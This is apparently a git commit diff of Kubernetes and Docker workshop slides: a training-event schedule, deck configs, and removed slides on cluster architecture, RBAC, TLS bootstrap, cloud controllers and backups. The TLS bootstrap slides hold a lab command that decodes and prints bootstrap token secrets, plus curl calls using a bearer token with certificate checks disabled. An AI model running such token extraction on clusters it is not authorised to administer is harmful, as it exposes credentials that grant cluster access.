Width:  |  Height:  |  Size: 82 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 81 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 81 KiB

File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 81 KiB

View File

@@ -1,82 +1,3 @@
- date: [2019-11-04, 2019-11-05]
country: de
city: Berlin
event: Velocity
speaker: jpetazzo
title: Deploying and scaling applications with Kubernetes
attend: https://conferences.oreilly.com/velocity/vl-eu/public/schedule/detail/79109
- date: 2019-11-13
country: fr
city: Marseille
event: DevopsDDay
speaker: jpetazzo
title: Déployer ses applications avec Kubernetes (in French)
lang: fr
attend: http://2019.devops-dday.com/Workshop.html
- date: [2019-09-24, 2019-09-25]
country: fr
city: Paris
event: ENIX SAS
speaker: jpetazzo
title: Déployer ses applications avec Kubernetes (in French)
lang: fr
attend: https://enix.io/fr/services/formation/deployer-ses-applications-avec-kubernetes/
- date: 2019-08-27
country: tr
city: Izmir
event: HacknBreak
speaker: gurayyildirim
title: Deploying and scaling applications with Kubernetes (in Turkish)
lang: tr
attend: https://hacknbreak.com
- date: 2019-08-26
country: tr
city: Izmir
event: HacknBreak
speaker: gurayyildirim
title: Container Orchestration with Docker and Swarm (in Turkish)
lang: tr
attend: https://hacknbreak.com
- date: 2019-08-25
country: tr
city: Izmir
event: HackBreak
speaker: gurayyildirim
title: Introduction to Docker and Containers (in Turkish)
lang: tr
attend: https://hacknbreak.com
- date: 2019-07-16
country: us
city: Portland, OR
event: OSCON
speaker: bridgetkromhout
title: "Kubernetes 201: Production tooling"
attend: https://conferences.oreilly.com/oscon/oscon-or/public/schedule/detail/76390
slides: https://oscon2019.container.training
- date: 2019-06-17
country: ca
city: Montréal
event: Zenika
speaker: jpetazzo
title: Getting Started With Kubernetes
attend: https://www.eventbrite.com/e/getting-started-with-kubernetes-1-day-en-tickets-61658444066
- date: [2019-06-10, 2019-06-11]
city: San Jose, CA
country: us
event: Velocity
title: Kubernetes for administrators and operators
speaker: jpetazzo
attend: https://conferences.oreilly.com/velocity/vl-ca/public/schedule/detail/75313
slides: https://kadm-2019-06.container.training/
- date: 2019-05-01
country: us
city: Cleveland, OH
@@ -84,8 +5,6 @@
speaker: jpetazzo, s0ulshake
title: Getting started with Kubernetes and container orchestration
attend: https://us.pycon.org/2019/schedule/presentation/74/
slides: https://pycon2019.container.training/
video: https://www.youtube.com/watch?v=J08MrW2NC1Y
- date: 2019-04-28
country: us
@@ -94,26 +13,15 @@
speaker: jpetazzo
title: Getting Started With Kubernetes and Container Orchestration
attend: https://gotochgo.com/2019/workshops/148
slides: https://gotochgo2019.container.training/
- date: 2019-04-26
country: fr
city: Paris
event: ENIX SAS
speaker: jpetazzo
title: Opérer et administrer Kubernetes
attend: https://enix.io/fr/services/formation/operer-et-administrer-kubernetes/
slides: https://kadm-2019-04.container.training/
- date: [2019-04-23, 2019-04-24]
country: fr
city: Paris
event: ENIX SAS
speaker: jpetazzo
speaker: "jpetazzo, rdegez"
title: Déployer ses applications avec Kubernetes (in French)
lang: fr
attend: https://enix.io/fr/services/formation/deployer-ses-applications-avec-kubernetes/
slides: https://kube-2019-04.container.training/
- date: [2019-04-15, 2019-04-16]
country: fr
@@ -123,7 +31,6 @@
title: Bien démarrer avec les conteneurs (in French)
lang: fr
attend: https://enix.io/fr/services/formation/bien-demarrer-avec-les-conteneurs/
slides: http://intro-2019-04.container.training/
- date: 2019-03-08
country: uk

View File

@@ -1,13 +1,13 @@
title: |
Introduction
to Containers
Bien d&eacute;marrer
avec les conteneurs
chat: "[Slack](https://dockercommunity.slack.com/messages/C7GKACWDV)"
#chat: "[Gitter](https://gitter.im/jpetazzo/workshop-yyyymmdd-city)"
#chat: "[Slack](https://dockercommunity.slack.com/messages/C7GKACWDV)"
chat: "[Gitter](https://gitter.im/enix/formation-docker-20190415)"
gitrepo: github.com/jpetazzo/container.training
slides: http://container.training/
slides: http://intro-2019-04.container.training/
exclude:
- self-paced
@@ -18,66 +18,68 @@ chapters:
- containers/intro.md
- shared/about-slides.md
- shared/toc.md
-
- containers/Docker_Overview.md
- - containers/Docker_Overview.md
#- containers/Docker_History.md
- containers/Training_Environment.md
#- containers/Installing_Docker.md
- containers/Installing_Docker.md
- containers/First_Containers.md
- containers/Background_Containers.md
#- containers/Start_And_Attach.md
- containers/Initial_Images.md
- containers/Start_And_Attach.md
- - containers/Initial_Images.md
- containers/Building_Images_Interactively.md
- containers/Building_Images_With_Dockerfiles.md
- containers/Cmd_And_Entrypoint.md
-
- containers/Copying_Files_During_Build.md
- containers/Exercise_Dockerfile_Basic.md
- - containers/Copying_Files_During_Build.md
- |
# Exercise — writing Dockerfiles
Let's write Dockerfiles for an existing application!
The code is at: https://github.com/jpetazzo/wordsmith
- containers/Multi_Stage_Builds.md
#- containers/Publishing_To_Docker_Hub.md
- containers/Exercise_Dockerfile_Advanced.md
- containers/Publishing_To_Docker_Hub.md
- containers/Dockerfile_Tips.md
-
- containers/Naming_And_Inspecting.md
#- containers/Labels.md
- |
# Exercise — writing better Dockerfiles
Let's update our Dockerfiles to leverage multi-stage builds!
The code is at: https://github.com/jpetazzo/wordsmith
Use a different tag for these images, so that we can compare their sizes.
What's the size difference between single-stage and multi-stage builds?
- - containers/Naming_And_Inspecting.md
- containers/Labels.md
- containers/Getting_Inside.md
- containers/Container_Networking_Basics.md
#- containers/Network_Drivers.md
- containers/Resource_Limits.md
- - containers/Container_Networking_Basics.md
- containers/Network_Drivers.md
- containers/Container_Network_Model.md
#- containers/Connecting_Containers_With_Links.md
#- containers/Ambassadors.md
- containers/Local_Development_Workflow.md
#- containers/Windows_Containers.md
#- containers/Working_With_Volumes.md
- containers/Compose_For_Dev_Stacks.md
- containers/Exercise_Composefile.md
-
#- containers/Docker_Machine.md
#- containers/Advanced_Dockerfiles.md
#- containers/Ecosystem.md
- containers/Orchestration_Overview.md
- |
# (Insert Infinity content here)
- shared/thankyou.md
- containers/links.md
-
- |
# (Extra material - intermediary)
- containers/Application_Configuration.md
- containers/Labels.md
- containers/Logging.md
- containers/Resource_Limits.md
- containers/Network_Drivers.md
- containers/Ambassadors.md
- - containers/Local_Development_Workflow.md
- containers/Windows_Containers.md
- containers/Working_With_Volumes.md
-
- containers/Compose_For_Dev_Stacks.md
- |
# (Extra material - advanced)
# Exercise — writing a Compose file
Let's write a Compose file for the wordsmith app!
The code is at: https://github.com/jpetazzo/wordsmith
- - containers/Docker_Machine.md
- containers/Advanced_Dockerfiles.md
- containers/Namespaces_Cgroups.md
- containers/Application_Configuration.md
- containers/Logging.md
- - containers/Namespaces_Cgroups.md
- containers/Copy_On_Write.md
- containers/Containers_From_Scratch.md
- containers/Container_Engines.md
#- containers/Containers_From_Scratch.md
- - containers/Container_Engines.md
#- containers/Ecosystem.md
- containers/Orchestration_Overview.md
- shared/thankyou.md
- containers/links.md

View File

@@ -30,11 +30,9 @@ chapters:
- containers/Building_Images_With_Dockerfiles.md
- containers/Cmd_And_Entrypoint.md
- containers/Copying_Files_During_Build.md
- containers/Exercise_Dockerfile_Basic.md
- - containers/Multi_Stage_Builds.md
- containers/Publishing_To_Docker_Hub.md
- containers/Dockerfile_Tips.md
- containers/Exercise_Dockerfile_Advanced.md
- - containers/Naming_And_Inspecting.md
- containers/Labels.md
- containers/Getting_Inside.md
@@ -47,7 +45,6 @@ chapters:
- containers/Windows_Containers.md
- containers/Working_With_Volumes.md
- containers/Compose_For_Dev_Stacks.md
- containers/Exercise_Composefile.md
- containers/Docker_Machine.md
- - containers/Advanced_Dockerfiles.md
- containers/Application_Configuration.md

View File

@@ -1,89 +0,0 @@
# API server availability
- When we set up a node, we need the address of the API server:
- for kubelet
- for kube-proxy
- sometimes for the pod network system (like kube-router)
- How do we ensure the availability of that endpoint?
(what if the node running the API server goes down?)
---
## Option 1: external load balancer
- Set up an external load balancer
- Point kubelet (and other components) to that load balancer
- Put the node(s) running the API server behind that load balancer
- Update the load balancer if/when an API server node needs to be replaced
- On cloud infrastructures, some mechanisms provide automation for this
(e.g. on AWS, an Elastic Load Balancer + Auto Scaling Group)
- [Example in Kubernetes The Hard Way](https://github.com/kelseyhightower/kubernetes-the-hard-way/blob/master/docs/08-bootstrapping-kubernetes-controllers.md#the-kubernetes-frontend-load-balancer)
---
## Option 2: local load balancer
- Set up a load balancer (like NGINX, HAProxy...) on *each* node
- Configure that load balancer to send traffic to the API server node(s)
- Point kubelet (and other components) to `localhost`
- Update the load balancer configuration when API server nodes are updated
---
## Updating the local load balancer config
- Distribute the updated configuration (push)
- Or regularly check for updates (pull)
- The latter requires an external, highly available store
(it could be an object store, an HTTP server, or even DNS...)
- Updates can be facilitated by a DaemonSet
(but remember that it can't be used when installing a new node!)
---
## Option 3: DNS records
- Put all the API server nodes behind a round-robin DNS
- Point kubelet (and other components) to that name
- Update the records when needed
- Note: this option is not officially supported
(but since kubelet supports reconnection anyway, it *should* work)
---
## Option 4: ....................
- Many managed clusters expose a high-availability API endpoint
(and you don't have to worry about it)
- You can also use HA mechanisms that you're familiar with
(e.g. virtual IPs)
- Tunnels are also fine
(e.g. [k3s](https://k3s.io/) uses a tunnel to allow each node to contact the API server)

View File

@@ -1,383 +0,0 @@
# Kubernetes architecture
We can arbitrarily split Kubernetes in two parts:
- the *nodes*, a set of machines that run our containerized workloads;
- the *control plane*, a set of processes implementing the Kubernetes APIs.
Kubernetes also relies on underlying infrastructure:
- servers, network connectivity (obviously!),
- optional components like storage systems, load balancers ...
---
## Control plane location
The control plane can run:
- in containers, on the same nodes that run other application workloads
(example: Minikube; 1 node runs everything)
- on a dedicated node
(example: a cluster installed with kubeadm)
- on a dedicated set of nodes
(example: Kubernetes The Hard Way; kops)
- outside of the cluster
(example: most managed clusters like AKS, EKS, GKE)
---
class: pic
![Kubernetes architecture diagram: control plane and nodes](images/k8s-arch2.png)
---
## What runs on a node
- Our containerized workloads
- A container engine like Docker, CRI-O, containerd...
(in theory, the choice doesn't matter, as the engine is abstracted by Kubernetes)
- kubelet: an agent connecting the node to the cluster
(it connects to the API server, registers the node, receives instructions)
- kube-proxy: a component used for internal cluster communication
(note that this is *not* an overlay network or a CNI plugin!)
---
## What's in the control plane
- Everything is stored in etcd
(it's the only stateful component)
- Everyone communicates exclusively through the API server:
- we (users) interact with the cluster through the API server
- the nodes register and get their instructions through the API server
- the other control plane components also register with the API server
- API server is the only component that reads/writes from/to etcd
---
## Communication protocols: API server
- The API server exposes a REST API
(except for some calls, e.g. to attach interactively to a container)
- Almost all requests and responses are JSON following a strict format
- For performance, the requests and responses can also be done over protobuf
(see this [design proposal](https://github.com/kubernetes/community/blob/master/contributors/design-proposals/api-machinery/protobuf.md) for details)
- In practice, protobuf is used for all internal communication
(between control plane components, and with kubelet)
---
## Communication protocols: on the nodes
The kubelet agent uses a number of special-purpose protocols and interfaces, including:
- CRI (Container Runtime Interface)
- used for communication with the container engine
- abstracts the differences between container engines
- based on gRPC+protobuf
- [CNI (Container Network Interface)](https://github.com/containernetworking/cni/blob/master/SPEC.md)
- used for communication with network plugins
- network plugins are implemented as executable programs invoked by kubelet
- network plugins provide IPAM
- network plugins set up network interfaces in pods
---
class: pic
![Kubernetes architecture diagram: communication between components](images/k8s-arch4-thanks-luxas.png)
---
# The Kubernetes API
[
*The Kubernetes API server is a "dumb server" which offers storage, versioning, validation, update, and watch semantics on API resources.*
](
https://github.com/kubernetes/community/blob/master/contributors/design-proposals/api-machinery/protobuf.md#proposal-and-motivation
)
([Clayton Coleman](https://twitter.com/smarterclayton), Kubernetes Architect and Maintainer)
What does that mean?
---
## The Kubernetes API is declarative
- We cannot tell the API, "run a pod"
- We can tell the API, "here is the definition for pod X"
- The API server will store that definition (in etcd)
- *Controllers* will then wake up and create a pod matching the definition
---
## The core features of the Kubernetes API
- We can create, read, update, and delete objects
- We can also *watch* objects
(be notified when an object changes, or when an object of a given type is created)
- Objects are strongly typed
- Types are *validated* and *versioned*
- Storage and watch operations are provided by etcd
(note: the [k3s](https://k3s.io/) project allows us to use sqlite instead of etcd)
---
## Let's experiment a bit!
- For the exercises in this section, connect to the first node of the `test` cluster
.exercise[
- SSH to the first node of the test cluster
- Check that the cluster is operational:
```bash
kubectl get nodes
```
- All nodes should be `Ready`
]
---
## Create
- Let's create a simple object
.exercise[
- Create a namespace with the following command:
```bash
kubectl create -f- <<EOF
apiVersion: v1
kind: Namespace
metadata:
name: hello
EOF
```
]
This is equivalent to `kubectl create namespace hello`.
---
## Read
- Let's retrieve the object we just created
.exercise[
- Read back our object:
```bash
kubectl get namespace hello -o yaml
```
]
We see a lot of data that wasn't here when we created the object.
Some data was automatically added to the object (like `spec.finalizers`).
Some data is dynamic (typically, the content of `status`.)
---
## API requests and responses
- Almost every Kubernetes API payload (requests and responses) has the same format:
```yaml
apiVersion: xxx
kind: yyy
metadata:
name: zzz
(more metadata fields here)
(more fields here)
```
- The fields shown above are mandatory, except for some special cases
(e.g.: in lists of resources, the list itself doesn't have a `metadata.name`)
- We show YAML for convenience, but the API uses JSON
(with optional protobuf encoding)
---
class: extra-details
## API versions
- The `apiVersion` field corresponds to an *API group*
- It can be either `v1` (aka "core" group or "legacy group"), or `group/versions`; e.g.:
- `apps/v1`
- `rbac.authorization.k8s.io/v1`
- `extensions/v1beta1`
- It does not indicate which version of Kubernetes we're talking about
- It *indirectly* indicates the version of the `kind`
(which fields exist, their format, which ones are mandatory...)
- A single resource type (`kind`) is rarely versioned alone
(e.g.: the `batch` API group contains `jobs` and `cronjobs`)
---
## Update
- Let's update our namespace object
- There are many ways to do that, including:
- `kubectl apply` (and provide an updated YAML file)
- `kubectl edit`
- `kubectl patch`
- many helpers, like `kubectl label`, or `kubectl set`
- In each case, `kubectl` will:
- get the current definition of the object
- compute changes
- submit the changes (with `PATCH` requests)
---
## Adding a label
- For demonstration purposes, let's add a label to the namespace
- The easiest way is to use `kubectl label`
.exercise[
- In one terminal, watch namespaces:
```bash
kubectl get namespaces --show-labels -w
```
- In the other, update our namespace:
```bash
kubectl label namespaces hello color=purple
```
]
We demonstrated *update* and *watch* semantics.
---
## What's special about *watch*?
- The API server itself doesn't do anything: it's just a fancy object store
- All the actual logic in Kubernetes is implemented with *controllers*
- A *controller* watches a set of resources, and takes action when they change
- Examples:
- when a Pod object is created, it gets scheduled and started
- when a Pod belonging to a ReplicaSet terminates, it gets replaced
- when a Deployment object is updated, it can trigger a rolling update
---
# Other control plane components
- API server ✔️
- etcd ✔️
- Controller manager
- Scheduler
---
## Controller manager
- This is a collection of loops watching all kinds of objects
- That's where the actual logic of Kubernetes lives
- When we create a Deployment (e.g. with `kubectl run web --image=nginx`),
- we create a Deployment object
- the Deployment controller notices it, and creates a ReplicaSet
- the ReplicaSet controller notices the ReplicaSet, and creates a Pod
---
## Scheduler
- When a pod is created, it is in `Pending` state
- The scheduler (or rather: *a scheduler*) must bind it to a node
- Kubernetes comes with an efficient scheduler with many features
- if we have special requirements, we can add another scheduler
<br/>
(example: this [demo scheduler](https://github.com/kelseyhightower/scheduler) uses the cost of nodes, stored in node annotations)
- A pod might stay in `Pending` state for a long time:
- if the cluster is full
- if the pod has special constraints that can't be met
- if the scheduler is not running (!)

View File

@@ -22,7 +22,7 @@
- When the API server receives a request, it tries to authenticate it
(it examines headers, certificates... anything available)
(it examines headers, certificates ... anything available)
- Many authentication methods are available and can be used simultaneously
@@ -34,7 +34,7 @@
- the user ID
- a list of groups
- The API server doesn't interpret these; that'll be the job of *authorizers*
- The API server doesn't interpret these; it'll be the job of *authorizers*
---
@@ -50,7 +50,7 @@
- [HTTP basic auth](https://en.wikipedia.org/wiki/Basic_access_authentication)
(carrying user and password in an HTTP header)
(carrying user and password in a HTTP header)
- Authentication proxy
@@ -88,7 +88,7 @@
(i.e. they are not stored in etcd or anywhere else)
- Users can be created (and added to groups) independently of the API
- Users can be created (and given membership to groups) independently of the API
- The Kubernetes API can be set up to use your custom CA to validate client certs
@@ -143,21 +143,19 @@ class: extra-details
(see issue [#18982](https://github.com/kubernetes/kubernetes/issues/18982))
- As a result, we don't have an easy way to terminate someone's access
- As a result, we cannot easily suspend a user's access
(if their key is compromised, or they leave the organization)
- There are workarounds, but they are very inconvenient:
- Option 1: re-create a new CA and re-issue everyone's certificates
<br/>
→ Maybe OK if we only have a few users; no way otherwise
- issue short-lived certificates (e.g. 24 hours) and regenerate them often
- Option 2: don't use groups; grant permissions to individual users
<br/>
→ Inconvenient if we have many users and teams; error-prone
- re-create the CA and re-issue all certificates in case of compromise
- Option 3: issue short-lived certificates (e.g. 24 hours) and renew them often
<br/>
→ This can be facilitated by e.g. Vault or by the Kubernetes CSR API
- grant permissions to individual users, not groups
<br/>
(and remove all permissions to a compromised user)
- Until this is fixed, we probably want to use other methods
---
@@ -193,7 +191,7 @@ class: extra-details
(the kind that you can view with `kubectl get secrets`)
- Service accounts are generally used to grant permissions to applications, services...
- Service accounts are generally used to grant permissions to applications, services ...
(as opposed to humans)
@@ -217,7 +215,7 @@ class: extra-details
.exercise[
- The resource name is `serviceaccount` or `sa` for short:
- The resource name is `serviceaccount` or `sa` in short:
```bash
kubectl get sa
```
@@ -309,7 +307,7 @@ class: extra-details
- The API "sees" us as a different user
- But neither user has any rights, so we can't do nothin'
- But neither user has any right, so we can't do nothin'
- Let's change that!
@@ -339,9 +337,9 @@ class: extra-details
- A rule is a combination of:
- [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) like create, get, list, update, delete...
- [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb) like create, get, list, update, delete ...
- resources (as in "API resource," like pods, nodes, services...)
- resources (as in "API resource", like pods, nodes, services ...)
- resource names (to specify e.g. one specific pod instead of all pods)
@@ -375,13 +373,13 @@ class: extra-details
- We can also define API resources ClusterRole and ClusterRoleBinding
- These are a superset, allowing us to:
- These are a superset, allowing to:
- specify actions on cluster-wide objects (like nodes)
- operate across all namespaces
- We can create Role and RoleBinding resources within a namespace
- We can create Role and RoleBinding resources within a namespaces
- ClusterRole and ClusterRoleBinding resources are global
@@ -389,13 +387,13 @@ class: extra-details
## Pods and service accounts
- A pod can be associated with a service account
- A pod can be associated to a service account
- by default, it is associated with the `default` service account
- by default, it is associated to the `default` service account
- as we saw earlier, this service account has no permissions anyway
- as we've seen earlier, this service account has no permission anyway
- The associated token is exposed to the pod's filesystem
- The associated token is exposed into the pod's filesystem
(in `/var/run/secrets/kubernetes.io/serviceaccount/token`)
@@ -409,7 +407,7 @@ class: extra-details
- We are going to create a service account
- We will use a default cluster role (`view`)
- We will use an existing cluster role (`view`)
- We will bind together this role and this service account
@@ -460,7 +458,7 @@ class: extra-details
]
It's important to note a couple of details in these flags...
It's important to note a couple of details in these flags ...
---
@@ -493,13 +491,13 @@ It's important to note a couple of details in these flags...
- again, the command would have worked fine (no error)
- ...but our API requests would have been denied later
- ... but our API requests would have been denied later
- What's about the `default:` prefix?
- that's the namespace of the service account
- yes, it could be inferred from context, but... `kubectl` requires it
- yes, it could be inferred from context, but ... `kubectl` requires it
---
@@ -576,51 +574,6 @@ It's important to note a couple of details in these flags...
class: extra-details
## Where does this `view` role come from?
- Kubernetes defines a number of ClusterRoles intended to be bound to users
- `cluster-admin` can do *everything* (think `root` on UNIX)
- `admin` can do *almost everything* (except e.g. changing resource quotas and limits)
- `edit` is similar to `admin`, but cannot view or edit permissions
- `view` has read-only access to most resources, except permissions and secrets
*In many situations, these roles will be all you need.*
*You can also customize them!*
---
class: extra-details
## Customizing the default roles
- If you need to *add* permissions to these default roles (or others),
<br/>
you can do it through the [ClusterRole Aggregation](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#aggregated-clusterroles) mechanism
- This happens by creating a ClusterRole with the following labels:
```yaml
metadata:
labels:
rbac.authorization.k8s.io/aggregate-to-admin: "true"
rbac.authorization.k8s.io/aggregate-to-edit: "true"
rbac.authorization.k8s.io/aggregate-to-view: "true"
```
- This ClusterRole permissions will be added to `admin`/`edit`/`view` respectively
- This is particulary useful when using CustomResourceDefinitions
(since Kubernetes cannot guess which resources are sensitive and which ones aren't)
---
class: extra-details
## Where do our permissions come from?
- When interacting with the Kubernetes API, we are using a client certificate
@@ -652,7 +605,7 @@ class: extra-details
kubectl describe clusterrolebinding cluster-admin
```
- This binding associates `system:masters` with the cluster role `cluster-admin`
- This binding associates `system:masters` to the cluster role `cluster-admin`
- And the `cluster-admin` is, basically, `root`:
```bash
@@ -667,7 +620,7 @@ class: extra-details
- For auditing purposes, sometimes we want to know who can perform an action
- There is a proof-of-concept tool by Aqua Security which does exactly that:
- Here is a proof-of-concept tool by Aqua Security, doing exactly that:
https://github.com/aquasecurity/kubectl-who-can

View File

@@ -1,259 +0,0 @@
# TLS bootstrap
- kubelet needs TLS keys and certificates to communicate with the control plane
- How do we generate this information?
- How do we make it available to kubelet?
---
## Option 1: push
- When we want to provision a node:
- generate its keys, certificate, and sign centrally
- push the files to the node
- OK for "traditional", on-premises deployments
- Not OK for cloud deployments with auto-scaling
---
## Option 2: poll + push
- Discover nodes when they are created
(e.g. with cloud API)
- When we detect a new node, push TLS material to the node
(like in option 1)
- It works, but:
- discovery code is specific to each provider
- relies heavily on the cloud provider API
- doesn't work on-premises
- doesn't scale
---
## Option 3: bootstrap tokens + CSR API
- Since Kubernetes 1.4, the Kubernetes API supports CSR
(Certificate Signing Requests)
- This is similar to the protocol used to obtain e.g. HTTPS certificates:
- subject (here, kubelet) generates TLS keys and CSR
- subject submits CSR to CA
- CA validates (or not) the CSR
- CA sends back signed certificate to subject
- This is combined with *bootstrap tokens*
---
## Bootstrap tokens
- A [bootstrap token](https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/) is an API access token
- it is a Secret with type `bootstrap.kubernetes.io/token`
- it is 6 public characters (ID) + 16 secret characters
<br/>(example: `whd3pq.d1ushuf6ccisjacu`)
- it gives access to groups `system:bootstrap:<ID>` and `system:bootstrappers`
- additional groups can be specified in the Secret
---
## Bootstrap tokens with kubeadm
- kubeadm automatically creates a bootstrap token
(it is shown at the end of `kubeadm init`)
- That token adds the group `system:bootstrappers:kubeadm:default-node-token`
- kubeadm also creates a ClusterRoleBinding `kubeadm:kubelet-bootstrap`
<br/>binding `...:default-node-token` to ClusterRole `system:node-bootstrapper`
- That ClusterRole gives create/get/list/watch permissions on the CSR API
---
## Bootstrap tokens in practice
- Let's list our bootstrap tokens on a cluster created with kubeadm
.exercise[
- Log into node `test1`
- View bootstrap tokens:
```bash
sudo kubeadm token list
```
]
- Tokens are short-lived
- We can create new tokens with `kubeadm` if necessary
---
class: extra-details
## Retrieving bootstrap tokens with kubectl
- Bootstrap tokens are Secrets with type `bootstrap.kubernetes.io/token`
- Token ID and secret are in data fields `token-id` and `token-secret`
- In Secrets, data fields are encoded with Base64
- This "very simple" command will show us the tokens:
```
kubectl -n kube-system get secrets -o json |
jq -r '.items[]
| select(.type=="bootstrap.kubernetes.io/token")
| ( .data["token-id"] + "Lg==" + .data["token-secret"] + "Cg==")
' | base64 -d
```
(On recent versions of `jq`, you can simplify by using filter `@base64d`.)
---
class: extra-details
## Using a bootstrap token
- The token we need to use has the form `abcdef.1234567890abcdef`
.exercise[
- Check that it is accepted by the API server:
```bash
curl -k -H "Authorization: Bearer abcdef.1234567890abcdef"
```
- We should see that we are *authenticated* but not *authorized*:
```
User \"system:bootstrap:abcdef\" cannot get path \"/\""
```
- Check that we can access the CSR API:
```bash
curl -k -H "Authorization: Bearer abcdef.1234567890abcdef" \
https://10.96.0.1/apis/certificates.k8s.io/v1beta1/certificatesigningrequests
```
]
---
## The cluster-info ConfigMap
- Before we can talk to the API, we need:
- the API server address (obviously!)
- the cluster CA certificate
- That information is stored in a public ConfigMap
.exercise[
- Retrieve that ConfigMap:
```bash
curl -k https://10.96.0.1/api/v1/namespaces/kube-public/configmaps/cluster-info
```
]
*Extracting the kubeconfig file is left as an exercise for the reader.*
---
class: extra-details
## Signature of the config-map
- You might have noticed a few `jws-kubeconfig-...` fields
- These are config-map signatures
(so that the client can protect against MITM attacks)
- These are JWS signatures using HMAC-SHA256
(see [here](https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/#configmap-signing) for more details)
---
## Putting it all together
This is the TLS bootstrap mechanism, step by step.
- The node uses the cluster-info ConfigMap to get the cluster CA certificate
- The node generates its keys and CSR
- Using the bootstrap token, the node creates a CertificateSigningRequest object
- The node watches the CSR object
- The CSR object is accepted (automatically or by an admin)
- The node gets notified, and retrieves the certificate
- The node can now join the cluster
---
## Bottom line
- If you paid attention, we still need a way to:
- either safely get the bootstrap token to the nodes
- or disable auto-approval and manually approve the nodes when they join
- The goal of the TLS bootstrap mechanism is *not* to solve this
(in terms of information knowledge, it's fundamentally impossible!)
- But it reduces the differences between environments, infrastructures, providers ...
- It gives a mechanism that is easier to use, and flexible enough, for most scenarios
---
## More information
- As always, the Kubernetes documentation has extra details:
- [TLS management](https://kubernetes.io/docs/tasks/tls/managing-tls-in-a-cluster/)
- [Authenticating with bootstrap tokens](https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/)
- [TLS bootstrapping](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/)
- [kubeadm token](https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-token/) command
- [kubeadm join](https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-join/) command (has details about [the join workflow](https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-join/#join-workflow))

View File

@@ -1,144 +0,0 @@
# The Cloud Controller Manager
- Kubernetes has many features that are cloud-specific
(e.g. providing cloud load balancers when a Service of type LoadBalancer is created)
- These features were initially implemented in API server and controller manager
- Since Kubernetes 1.6, these features are available through a separate process:
the *Cloud Controller Manager*
- The CCM is optional, but if we run in a cloud, we probably want it!
---
## Cloud Controller Manager duties
- Creating and updating cloud load balancers
- Configuring routing tables in the cloud network (specific to GCE)
- Updating node labels to indicate region, zone, instance type...
- Obtain node name, internal and external addresses from cloud metadata service
- Deleting nodes from Kubernetes when they're deleted in the cloud
- Managing *some* volumes (e.g. ELBs, AzureDisks...)
(Eventually, volumes will be managed by the Container Storage Interface)
---
## In-tree vs. out-of-tree
- A number of cloud providers are supported "in-tree"
(in the main kubernetes/kubernetes repository on GitHub)
- More cloud providers are supported "out-of-tree"
(with code in different repositories)
- There is an [ongoing effort](https://github.com/kubernetes/kubernetes/tree/master/pkg/cloudprovider) to move everything to out-of-tree providers
---
## In-tree providers
The following providers are actively maintained:
- Amazon Web Services
- Azure
- Google Compute Engine
- IBM Cloud
- OpenStack
- VMware vSphere
These ones are less actively maintained:
- Apache CloudStack
- oVirt
- VMware Photon
---
## Out-of-tree providers
The list includes the following providers:
- DigitalOcean
- keepalived (not exactly a cloud; provides VIPs for load balancers)
- Linode
- Oracle Cloud Infrastructure
(And possibly others; there is no central registry for these.)
---
## Audience questions
- What kind of clouds are you using/planning to use?
- What kind of details would you like to see in this section?
- Would you appreciate details on clouds that you don't / won't use?
---
## Cloud Controller Manager in practice
- Write a configuration file
(typically `/etc/kubernetes/cloud.conf`)
- Run the CCM process
(on self-hosted clusters, this can be a DaemonSet selecting the control plane nodes)
- Start kubelet with `--cloud-provider=external`
- When using managed clusters, this is done automatically
- There is very little documentation on writing the configuration file
(except for OpenStack)
---
## Bootstrapping challenges
- When a node joins the cluster, it needs to obtain a signed TLS certificate
- That certificate must contain the node's addresses
- These addresses are provided by the Cloud Controller Manager
(at least the external address)
- To get these addresses, the node needs to communicate with the control plane
- ...Which means joining the cluster
(The problem didn't occur when cloud-specific code was running in kubelet: kubelet could obtain the required information directly from the cloud provider's metadata service.)
---
## More information about CCM
- CCM configuration and operation is highly specific to each cloud provider
(which is why this section remains very generic)
- The Kubernetes documentation has *some* information:
- [architecture and diagrams](https://kubernetes.io/docs/concepts/architecture/cloud-controller/)
- [configuration](https://kubernetes.io/docs/concepts/cluster-administration/cloud-providers/) (mainly for OpenStack)
- [deployment](https://kubernetes.io/docs/tasks/administer-cluster/running-cloud-controller/)

View File

@@ -1,362 +0,0 @@
# Backing up clusters
- Backups can have multiple purposes:
- disaster recovery (servers or storage are destroyed or unreachable)
- error recovery (human or process has altered or corrupted data)
- cloning environments (for testing, validation...)
- Let's see the strategies and tools available with Kubernetes!
---
## Important
- Kubernetes helps us with disaster recovery
(it gives us replication primitives)
- Kubernetes helps us clone / replicate environments
(all resources can be described with manifests)
- Kubernetes *does not* help us with error recovery
- We still need to back up/snapshot our data:
- with database backups (mysqldump, pgdump, etc.)
- and/or snapshots at the storage layer
- and/or traditional full disk backups
---
## In a perfect world ...
- The deployment of our Kubernetes clusters is automated
(recreating a cluster takes less than a minute of human time)
- All the resources (Deployments, Services...) on our clusters are under version control
(never use `kubectl run`; always apply YAML files coming from a repository)
- Stateful components are either:
- stored on systems with regular snapshots
- backed up regularly to an external, durable storage
- outside of Kubernetes
---
## Kubernetes cluster deployment
- If our deployment system isn't fully automated, it should at least be documented
- Litmus test: how long does it take to deploy a cluster...
- for a senior engineer?
- for a new hire?
- Does it require external intervention?
(e.g. provisioning servers, signing TLS certs...)
---
## Plan B
- Full machine backups of the control plane can help
- If the control plane is in pods (or containers), pay attention to storage drivers
(if the backup mechanism is not container-aware, the backups can take way more resources than they should, or even be unusable!)
- If the previous sentence worries you:
**automate the deployment of your clusters!**
---
## Managing our Kubernetes resources
- Ideal scenario:
- never create a resource directly on a cluster
- push to a code repository
- a special branch (`production` or even `master`) gets automatically deployed
- Some folks call this "GitOps"
(it's the logical evolution of configuration management and infrastructure as code)
---
## GitOps in theory
- What do we keep in version control?
